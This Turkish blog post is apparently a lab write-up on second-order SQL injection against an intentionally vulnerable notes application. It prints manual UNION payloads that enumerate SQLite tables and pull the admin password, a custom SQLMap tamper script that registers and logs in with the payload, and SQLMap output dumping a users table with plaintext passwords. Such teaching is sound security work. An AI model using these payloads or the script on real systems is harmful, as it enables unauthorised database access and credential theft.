2. Sıra SQL Enjeksiyonundan Yararlanma

Feb 05 2023
Buna rastladım ve onu çok etkileyici buldum ama aynı zamanda anlaşılması çok soyut ve istismar edilmesi zor. Ancak, bu tür (SQLi) güvenlik açığından nasıl yararlanılacağını öğrenmek, bakış açımı genişletmeme, SQLMap becerilerimi güçlendirmeme yardımcı oldu ve sunucu tarafı uygulama iş akışında kullanıcı girişinin nasıl işlendiğini daha iyi anlamamı sağladı.

Buna rastladım ve onu çok etkileyici buldum ama aynı zamanda anlaşılması çok soyut ve istismar edilmesi zor. Ancak, bu tür (SQLi) güvenlik açığından nasıl yararlanılacağını öğrenmek, bakış açımı genişletmeme, SQLMap becerilerimi güçlendirmeme yardımcı oldu ve sunucu tarafı uygulama iş akışında kullanıcı girişinin nasıl işlendiğini daha iyi anlamamı sağladı.

Bu yazıda şunları yazacağım:

  • Genel olarak 2. dereceden SQLi,
  • gerekli ön koşullar,
  • nasıl belirlenir,
  • manuel olarak nasıl yararlanılacağı ve
  • özel bir SQLMap kurcalama komut dosyasıyla istismarın nasıl otomatikleştirileceği.

Temeller

Basit bir ifadeyle: Birinci dereceden bir SQL enjeksiyonu sırasında, bir saldırgan, savunmasız sunucu uygulaması tarafından gerçekleştirilen bir SQL sorgusunu değiştirmek için bir giriş parametresi (enjeksiyon noktası) kullanır. Sunucu, arka uç veritabanındaki verileri okumak, yazmak, güncellemek, silmek vb. için bir SQL sorgusu oluşturmak için kullanıcı tarafından sağlanan girişi kullanır. Kullanıcı tarafından sağlanan girdi güvenli bir şekilde işlenmiyorsa (temizleme, doğrulama), saldırgan, yürütülen SQL sorgusunu DBMS üzerinde kötü amaçlı eylemler gerçekleştirmeye yönlendiren bir yük sağlayabilir. Birinci dereceden bir SQLi'nin özelliği, kötü amaçlı SQL sorgusunun, yük enjeksiyonunun doğrudan bir sonucu olarak yürütülmesidir. Saldırganın kötü amaçlı yükü yürütmek için ikinci bir eylem gerçekleştirmesine gerek yoktur.

Birinci dereceden SQL enjeksiyonlarını kolayca önlemenin birkaç yolu vardır. Hazır ifadeleri kullanmak veya parametreleştirilmiş girdi işleme bunlardan sadece birkaçıdır. Ancak günümüzde geliştiriciler, kullanıcı tarafından sağlanan girdinin güvenli bir şekilde ele alınması gerektiğinin farkında olabilir. Ancak, veritabanında zaten kayıtlı olan verileri güvenli bir şekilde işlemeyi genellikle unuturlar. İkinci dereceden SQLi'nin devreye girdiği yer burasıdır.

İşleri daha net hale getirmek için, aşağıdaki senaryoyu varsayalım: Bir uygulama, kullanıcıların resim yüklemesine izin verir ve bunları veritabanına kaydeder. Tablonun aşağıdakiler için sütunları vardır:

  • resimlerin benzersiz kimliği,
  • resmin kendisi,
  • resmin dosya adı,
  • uygulama kullanıcıları tarafından resmin görüntülenmesi için bir sayaç.

POST /upload HTTP/1.1
Host: www.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 705

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="example.jpg"
Content-Type: image/jpeg

[binary data of the picture file goes here]
------WebKitFormBoundary7MA4YWxkTrZu0gW--

import sqlite3

conn = sqlite3.connect("pictures.db")
cursor = conn.cursor()

filename = [filename of the picture file from the HTTP POST request]
data = [binary data of the picture file from the HTTP POST request]

cursor.execute("INSERT INTO pictures (filename, data, views) VALUES (?, ?, ?)", (filename, data, 0))

conn.commit()
conn.close()

Daha önce bahsedildiği gibi, 'resimler' veritabanı tablosunun üçüncü bir 'görünümler' sütunu vardır. Bir kullanıcı resmi her görüntülediğinde, bu sayaç 1 artar. Kullanıcı resmin ayrıntılı görünümünü açarsa, uygulama ayrıca sayacı kullanıcıya döndürür. Dolayısıyla, kodun bir noktasında uygulama şöyle görünebilir:

import sqlite3

conn = sqlite3.connect("pictures.db")
cursor = conn.cursor()

filename = [filename of the picture extracted from database]

cursor.execute("SELECT views FROM pictures WHERE filename = '" + filename + "';")
result = cursor.fetchone()
views = result[0]

conn.close()

2. Derece SQLi'nin Ön Koşulları

Öyleyse bu kısa girişi bitirelim ve 2. Derece SQLi'nin ön koşullarını ve özelliklerini tanımlayalım.

  • Uygulama, bir şekilde, ilk adım sırasında uygulama içinde kullanıcı girişinin depolanmasına izin verir. Bu, uygulamanın bellek alanında veya örneğin bir arka uç DBMS'de olabilir.
  • Saldırgan, uygulamanın ilk adımda enjekte edilen kullanıcı girişini kullanan bir SQL sorgusu yürütmesini sağlamak için ikinci bir adım gerçekleştirebilir.
  • Uygulama, kötü niyetli kullanıcı girişine (1. adımdan itibaren) dayalı olarak (2. adım sırasında) sorguyu gerçekleştirirken SQLi karşıtı teknikleri kullanmaz.

Uygulama mimarisi ve uygulamasının karmaşıklığına ve izlenebilirliğine bağlı olarak bu güvenlik açıklarını belirlemek çok zor olabilir.

Bir arka uç DBMS ile etkileşime girebilecek eylemler gerçekleştirirken, uygulamanın işlevlerinin yürütme akışını hayal etmeye çalışın.

İlk olarak, elbette her zaman klasik birinci dereceden SQL enjeksiyonlarını test edersiniz. Ancak hiçbir şey işe yaramazsa ve enjeksiyon talebinin işlenmesi sırasında bazı savunmaların kullanıldığını varsaymanız gerekiyorsa, bir adım daha ilerisini düşünmeye çalışın ve girdinizin uygulamanın farklı işlevselliklerinde/alanlarında hangi noktada/noktalarda işlenebileceğini hayal edin. Birkaç olası 2. sıra yürütme noktası belirlediyseniz, bu noktada uygulama tarafından gerçekleştirilen sorguları hayal etmeye çalışın. Ardından, enjeksiyon yüklerinizi, 2. sıra yürütme noktaları tarafından gerçekleştirilen sorgudan yararlanabilecek ve sonuçları kontrol edebilecek şekilde oluşturun.

Bu işlemi otomatikleştirmek biraz karmaşık olabilir ancak çok fazla zaman kazanmanıza yardımcı olabilir. Bununla birlikte, istismar sürecini SQLMap gibi araçlarla otomatikleştirmek istiyorsanız, uygulamaların sunucu tarafı yürütme akışının, etkilenen sorgu dizelerinin vb. nasıl göründüğüne dair iyi bir anlayışa sahip olmak kesinlikle gereklidir. Bu yüzden sadece uygulamada ateş etmeyin ve en iyisini ummayın. Başarılı olma şansını artırmak için son SQLMap kullanım komutunu hazırlamadan önce uygulamanın mümkün olduğunca derinine inin.

Manuel Analiz ve Kullanım

Bu nedenle, bunu pratik bir örnekte göstermek için, aşağıdakiler gibi tipik uygulama bileşenlerine sahip savunmasız bir uygulama ("Hassas Notlar") kullanacağım:

  • giriş yapmak,
  • üye olmak,
  • profil,
  • şifre değiştir,
  • Not almak,
  • çıkış Yap.

İlk olarak, olası SQL enjeksiyon noktalarını belirlemek için uygulamayı bir tarayıcıyla analiz ettim.

Kaydolma işlevi, kullanıcı adının zaten alınmış olup olmadığını kontrol etmek için bir tür SELECT sorgusu ve kullanıcımı kaydetmek için bir INSERT sorgusu gerçekleştirecektir.

kayıt işlevi

Bir kullanıcı oluşturdum ve giriş sayfasına geçtim. Bu sayfa, kullanıcı tarafından sağlanan kimlik bilgilerini alacak ve kimlik bilgilerini doğrulamak için veritabanında bir tür SELECT ifadesi gerçekleştirecektir.

Giriş sayfası

Kimlik doğrulamasından sonra, kullanıcı ana sayfaya yönlendirilir. Kullanıcı adı sayfanın üst kısmında görüntülenir. Dolayısıyla, uygulamanın bu noktada kullanıcı adını veritabanından çıkarmak için bir SELECT sorgusu gerçekleştirmesi mümkündür.

ana sayfa

Bu başlangıç ​​noktasından itibaren kullanıcı, /notes uç noktasında not almak gibi kullanıcıyla ilgili işlemleri gerçekleştirebilir. Kullanıcı adı “Hoş Geldiniz” başlığı içerisinde ikinci sırada yer almaktadır. Uygulamanın, kullanıcı adını tekrar istemek için bir SELECT sorgusu gerçekleştirmesi mümkündür.

Not alma işlevi

Bu işlevsellik kullanılırsa, uygulama büyük olasılıkla veritabanında bir tür INSERT deyimi gerçekleştirecektir. Alınan notlar aynı sayfada formun altında görülebilir.

Kayıtlı notları göster

Notları görüntülemek için, uygulama bir şekilde veritabanında bir SELECT sorgusu gerçekleştirerek kaydedilen notları talep edecektir.

Uygulama ayrıca bir "şifre değiştir" işlevi sunar, ancak sayfadaki mesaj bu işlevin uygulanmayabileceğini belirtir.

Şifre işlevini değiştir

Ancak, uygulanırsa, büyük olasılıkla veritabanında bir tür UPDATE sorgusu gerçekleştirecektir. İlk önce bu vektörü ortadan kaldırmak istedim, bu yüzden işlevi denedim ve başarılı olmadı. İşlevin uygulanmadığı onaylandı.

Birinci dereceden SQLi yaklaşımımı takiben yaptığım bir sonraki şey, kötü amaçlı yükler enjekte ederek devralabileceğim tüm olası SQL sorgularının bir özetini çıkarmaktı. Bu noktada, bu sorguların nasıl görünebileceğini hayal etmeye çalışıyorum. Tam olarak böyle göründüklerinden emin değilim, ancak arka ucun nasıl çalıştığını anlamamıza yardımcı oluyor.

Kayıt olmak

-- Check if the username is taken
SELECT username FROM users WHERE username=MY_INPUT_USERNAME

-- Insert the new username into the database
INSERT INTO users (username, password) VALUES (MY_INPUT_USERNAME,MY_INPUT_PASWORD)

-- Check if there is an user id where the provided credentials actually match. 
-- If an id is returned, the user is logged in. If not, the login attempt failed.
SELECT id FROM users WHERE username=MY_INPUT_USERNAME AND password=MY_INPUT_PASSWORD

-- Request the username from the database to display the name on the top of the home mage
SELECT username FROM users WHERE id=USER_ID_REQUESTED_DURING_LOGIN

-- Request the username from the database to display within the heading.
SELECT username FROM users WHERE id=USER_ID_REQUESTED_DURING_LOGIN

-- Request previous taken notes to display them on the page
SELECT heading, note FROM notes WHERE username=USERNAME_QUERIED_FROM_DB

-- Inserts a new note into the database
INSERT INTO notes (heading, note, username) VALUES (MY_HEADING,MY_NOTE,USERNAME_QUERIED_FROM_DB)

2. dereceden yaklaşım zamanı.

Uygulamayı zaten ayrıntılı olarak analiz ettiğim için, hedef uygulamayı tekrar analiz etmem gerekmeyecek. Bunun yerine uygulama hakkında edindiğim bilgileri farklı bir bakış açısıyla/yaklaşımla gözden geçirmek yeterlidir.

2. dereceden SQLi'nin daha önce belirtilen ön gereksinimlerine geri dönersek, kendime şu soruyu sormalıyım:

Uygulama, kullanıcı girdilerimi nereye alıyor, daha sonra kullanmak üzere saklıyor ve daha sonraki bir adımda, üzerinde doğrudan etkim olmayan başka bir sorgunun parçası olarak kullanıyor?

Olası adaylar:

  • Kullanıcı Adı : Kullanıcı adını kayıt işlemi sırasında uygulamaya iletiyorum. Kullanıcı adı daha sonra /home sayfasından ve /notes sayfasından sorgulanarak gösterilir. Kullanıcı adının, belirli bir kullanıcının kayıtlı notlarını veritabanından sorgulamak için kullanılması da mümkün olabilir.

Sorgunun sonucunu görebildiğim için, UNION tabanlı bir istismar senaryosuyla uğraştığımı biliyorum. Tipik metodolojiyi izleyerek, önce orijinal sorgu tarafından tablodan kaç sütunun sorgulandığını bulmam gerekecek. Bunun için birden fazla faydalı yük hazırlıyorum ve sonuçları daha sonra analiz ediyorum.

-- The potentially vulnerable query:
SELECT heading, note FROM notes WHERE username=USERNAME_QUERIED_FROM_DB

-- Possible payloads
' UNION SELECT null--comment
' UNION SELECT null,null--comment
' UNION SELECT null,null,null--comment
' UNION SELECT null,null,null,null--comment
...

Yük, beklendiği gibi ana sayfanın üst kısmında ve /notes sayfasının üst kısmında görüntülenir.

Sonra bir not eklemeye çalıştım ama şaşırtıcı bir şekilde, not daha sonra uygulama tarafından gösterilmiyor!

Veritabanından notları istemekten sorumlu sorgu bozuk gibi görünüyor. Bu, elbette, yükümüzün dahili sorgu üzerinde bir etkisi olduğunu gösterir. Ancak hiçbir şey gösterilmediğinden, sorgu bir hata üretiyor veya sonuç vermiyor gibi görünüyor. Yükte doğru sütun sayısını ayarlamadıysak bu elbette olabilir. Öyleyse, farklı bir davranış görünene kadar listedeki sonraki yüklerle devam edelim.

Şans eseri, bir sonraki yük işe yaradı! Notun başlığı ve metni olarak “Yok” ve “Yok” döndürüldü.

Parçaları bir araya getirmek:

-- The assumed original query:
SELECT heading, note FROM notes WHERE username=USERNAME_QUERIED_FROM_DB

-- The payload
' UNION SELECT null,null--comment

-- The valid manipulated query executed against the database:
SELECT heading, note FROM notes WHERE username='' UNION SELECT null,null--comment

Hile sayfasındaki bilgileri uyarladım ve çalışan bir yük oluşturdum. Yeni yük:

' UNION SELECT null,sqlite_version()--comment

Bu noktadan itibaren, tüm veritabanını boşaltmak için tipik SQLite kullanım akışı (sağlanan hile sayfasındaki yükler) kullanılabilir. İşlemi otomatikleştirmeden önce biraz daha yük deneyelim.

Tüm tablo adlarını çıkar

' UNION SELECT null, GROUP_CONCAT(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'--comment

      
                

' UNION SELECT null, GROUP_CONCAT(sql) FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='users'--comment

      
                

' UNION SELECT null,GROUP_CONCAT(username) FROM users--comment

      
                

' UNION SELECT null, password FROM users WHERE username='admin'--comment

      
                

SQLMap Sabotaj Komut Dosyası ile Otomatik Sömürü

Bu senaryo üzerinde çalışana kadar, birinci dereceden SQLi'den yararlanmak için yalnızca SQLMap'i kullandım. İkinci dereceden SQLi'den de yararlanmanın mümkün olup olmadığını merak ediyordum. İlk olarak, ikinci dereceden sömürü ile ilgili SQLMap seçeneklerini aramak için terminalimi kullandım ve şunu buldum:

┌──(kali㉿kali)-[~]
└─$ sqlmap -hh | grep -i second
    --delay=DELAY       Delay in seconds between each HTTP request
    --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)
    --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)
    --second-url=SEC..  Resulting page URL searched for second-order response
    --second-req=SEC..  Load second-order HTTP request from file

Güvenlik açığından manuel olarak yararlanmak için gerekli adımları hatırlayalım:

  1. "Kayıt" işlevine kimliği doğrulanmamış yük enjeksiyonu.
  2. "Giriş" işlevi aracılığıyla kimlik doğrulama.
  3. "Notlar" sayfasına kimliği doğrulanmış istek.

SQLMap'in " — kurcalama" seçeneğiyle python komut dosyalarını çalıştırabileceğini biliyordum. Gereksinimlerime göre ayarlayabileceğim yararlı bir şey bulup bulamayacağımı görmek için kurcalama komut dosyası klasörünü kontrol ettim. Üzgünüm hayır.

┌──(kali㉿kali)-[~]
└─$ ls /usr/share/sqlmap/tamper 
0eunion.py               chardoubleencode.py          dunion.py                     ifnull2casewhenisnull.py     modsecurityversioned.py      plus2fnconcat.py   space2hash.py         space2randomblank.py    versionedkeywords.py
apostrophemask.py        charencode.py                equaltolike.py                ifnull2ifisnull.py           modsecurityzeroversioned.py  __pycache__        space2morecomment.py  sp_password.py          versionedmorekeywords.py
apostrophenullencode.py  charunicodeencode.py         equaltorlike.py               informationschemacomment.py  multiplespaces.py            randomcase.py      space2morehash.py     substring2leftright.py  xforwardedfor.py
appendnullbyte.py        charunicodeescape.py         escapequotes.py               __init__.py                  ord2ascii.py                 randomcomments.py  space2mssqlblank.py   symboliclogical.py
base64encode.py          commalesslimit.py            greatest.py                   least.py                     overlongutf8more.py          schemasplit.py     space2mssqlhash.py    unionalltounion.py
between.py               commalessmid.py              halfversionedmorekeywords.py  lowercase.py                 overlongutf8.py              sleep2getlock.py   space2mysqlblank.py   unmagicquotes.py
binary.py                commentbeforeparentheses.py  hex2char.py                   luanginx.py                  percentage.py                space2comment.py   space2mysqldash.py    uppercase.py
bluecoat.py              concat2concatws.py           htmlencode.py                 misunion.py                  plus2concat.py               space2dash.py      space2plus.py         varnish.py

sqlmap için özel kurcalama betikleri nasıl yazılır

Makaleden aşağıdaki şablon iskeletini aldım (yeniden içe aktarmayı sildim) ve custom.py olarak kaydettim:

#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    return payload

İşlev, işlev parametresi aracılığıyla SQLMap yükünü alır ve manipülasyondan sonra kurcalanmış yükü döndürür. Makale **kwargs'ın SQLMap bağlamında nasıl kullanılacağını açıklamadı, bu yüzden ChatGPT'ye sordum ve güzel bir yanıt aldım:

Bu, açıktan yararlanma için özel kurcalama komut dosyasını hazırlamak için yeterli olacaktır. Sunucu ile iletişim için, request kütüphanesini kullandım.

#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
import requests

def dependencies():
    pass

def tamper(payload, **kwargs):
    # Create Session object
    s = requests.Session()
    
    # Register user with SQLMap payload in username
    s.post('http://10.10.204.40:5000/challenge4/signup', data={"username": payload, "password": "anypass"})
    
    # Login malicious username
    res = s.post('http://10.10.204.40:5000/challenge4/login', data={"username": payload, "password": "anypass"})
    
    # Get headers from SQLMap
    headers = kwargs.get('headers', {})

    # Extract session cookie from response
    sessId = "session={}".format(s.cookies.get('session', None))

    # Pass session cookie to SQLMap cookie header
    headers['Cookie'] = sessId

    return payload

Tüm parçaları bir araya getirerek aşağıdaki SQLMap komutu kullanılabilir:

┌──(kali㉿kali)-[~]
└─$ sqlmap --url 'http://10.10.204.40:5000/challenge4/signup' --tamper custom.py --data 'username=anyuser&password=anypass' -p username --second-url 'http://10.10.204.40:5000/challenge4/notes' --dbms=sqlite --technique=U --no-cast
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.6.7#stable}
|_ -| . [)]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:20:46 /2023-02-04/

[12:20:46] [INFO] loading tamper module 'custom'
[12:20:46] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.204.40:5000/challenge4/login'. Do you want to follow? [Y/n] n
[12:20:50] [INFO] checking if the target is protected by some kind of WAF/IPS
[12:20:50] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS
are you sure that you want to continue with further target testing? [Y/n] Y
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[12:21:19] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[12:21:19] [INFO] testing for SQL injection on POST parameter 'username'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] n
[12:21:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[12:21:28] [WARNING] reflective value(s) found and filtering out
[12:21:38] [INFO] target URL appears to be UNION injectable with 2 columns
[12:21:39] [INFO] POST parameter 'username' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable
[12:21:39] [INFO] checking if the injection point on POST parameter 'username' is a false positive
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 34 HTTP(s) requests:
---
Parameter: username (POST)
    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: username=anyuser' UNION ALL SELECT CHAR(113,122,106,120,113)||CHAR(103,122,82,69,113,76,83,83,100,78,100,90,102,118,88,119,107,66,111,81,75,90,80,103,88,97,87,66,66,101,75,100,75,67,100,111,121,85,65,108)||CHAR(113,122,98,113,113),NULL-- nWes&password=anypass
---
[12:22:04] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:22:04] [INFO] testing SQLite
[12:22:05] [INFO] confirming SQLite
[12:22:06] [INFO] actively fingerprinting SQLite
[12:22:06] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[12:22:06] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.204.40'
[12:22:06] [WARNING] your sqlmap version is outdated

[*] ending @ 12:22:06 /2023-02-04/

┌──(kali㉿kali)-[~]
└─$ sqlmap --url 'http://10.10.204.40:5000/challenge4/signup' --tamper custom.py --data 'username=anyuser&password=anypass' -p username --second-url 'http://10.10.204.40:5000/challenge4/notes' --dbms=sqlite --technique=U --no-cast --current-user --tables
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.6.7#stable}
|_ -| . [,]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                                

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:25:23 /2023-02-04/

[12:25:23] [INFO] loading tamper module 'custom'
[12:25:23] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.204.40:5000/challenge4/login?next=http%3A%2F%2F10.10.204.40%3A5000%2Fchallenge4%2Fnotes'. Do you want to follow? [Y/n] n
[12:25:26] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: username=anyuser' UNION ALL SELECT CHAR(113,122,106,120,113)||CHAR(103,122,82,69,113,76,83,83,100,78,100,90,102,118,88,119,107,66,111,81,75,90,80,103,88,97,87,66,66,101,75,100,75,67,100,111,121,85,65,108)||CHAR(113,122,98,113,113),NULL-- nWes&password=anypass
---
[12:25:26] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:25:26] [INFO] testing SQLite
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[12:25:30] [INFO] confirming SQLite
[12:25:30] [INFO] actively fingerprinting SQLite
[12:25:30] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[12:25:30] [WARNING] on SQLite it is not possible to enumerate the current user
[12:25:30] [INFO] fetching tables for database: 'SQLite_masterdb'
[12:25:30] [WARNING] reflective value(s) found and filtering out
<current>
[2 tables]
+-------+
| notes |
| users |
+-------+

[12:25:30] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.204.40'
[12:25:30] [WARNING] your sqlmap version is outdated

[*] ending @ 12:25:30 /2023-02-04/

──(kali㉿kali)-[~]
└─$ sqlmap --url 'http://10.10.204.40:5000/challenge4/signup' --tamper custom.py --data 'username=anyuser&password=anypass' -p username --second-url 'http://10.10.204.40:5000/challenge4/notes' --dbms=sqlite --technique=U --no-cast --dump -T users
        ___
       __H__                                                                                                                                                                                                                                
 ___ ___[.]_____ ___ ___  {1.6.7#stable}                                                                                                                                                                                                    
|_ -| . [)]     | .'| . |                                                                                                                                                                                                                   
|___|_  [(]_|_|_|__,|  _|                                                                                                                                                                                                                   
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                                

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:26:59 /2023-02-04/

[12:26:59] [INFO] loading tamper module 'custom'
[12:26:59] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.204.40:5000/challenge4/login?next=http%3A%2F%2F10.10.204.40%3A5000%2Fchallenge4%2Fnotes'. Do you want to follow? [Y/n] n
[12:27:02] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: username=anyuser' UNION ALL SELECT CHAR(113,122,106,120,113)||CHAR(103,122,82,69,113,76,83,83,100,78,100,90,102,118,88,119,107,66,111,81,75,90,80,103,88,97,87,66,66,101,75,100,75,67,100,111,121,85,65,108)||CHAR(113,122,98,113,113),NULL-- nWes&password=anypass
---
[12:27:02] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:27:02] [INFO] testing SQLite
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[12:27:04] [INFO] confirming SQLite
[12:27:04] [INFO] actively fingerprinting SQLite
[12:27:04] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[12:27:04] [INFO] fetching columns for table 'users' 
[12:27:04] [WARNING] reflective value(s) found and filtering out
[12:27:04] [INFO] fetching entries for table 'users'
Database: <current>
Table: users
[49 entries]
+----+---------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | password                              | username                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+----+---------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1  | rcLYWHCxeGUsA9tH3GNV                  | admin                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
| 2  | asd                                   | dev                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| 3  | Summer2019!                           | amanda                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| 4  | 345m3io4hj3                           | maja      
...

Doğası gereği, bu güvenlik açıkları web uygulamalarının her yerinde ortaya çıkabilir. Geliştiriciler ilk bakışta kullanıcı girişini düzgün bir şekilde ele alsalar bile bu, SQLi karşıtı önlemlerin uygulama genelinde uygulandığı anlamına gelmez. Gelecekte kesinlikle gözlerim açık olacak ve uygulama/veritabanı iş akışını derinlemesine takip etmeye ve anlamaya çalışacağım.

Umarım bu gönderiyi beğenmişsinizdir ve belki bu, benzer senaryolarda size yardımcı olabilir. Bunu yazmaktan gerçekten zevk aldım ve bu Cumartesi boyunca pek çok yeni şey öğrendim. Bir yorum bırakın, beğenin veya takip edin ve daha fazla web içeriği ve çok yakında bazı AD altyapısı konuları için bizi izlemeye devam edin.

BARIŞ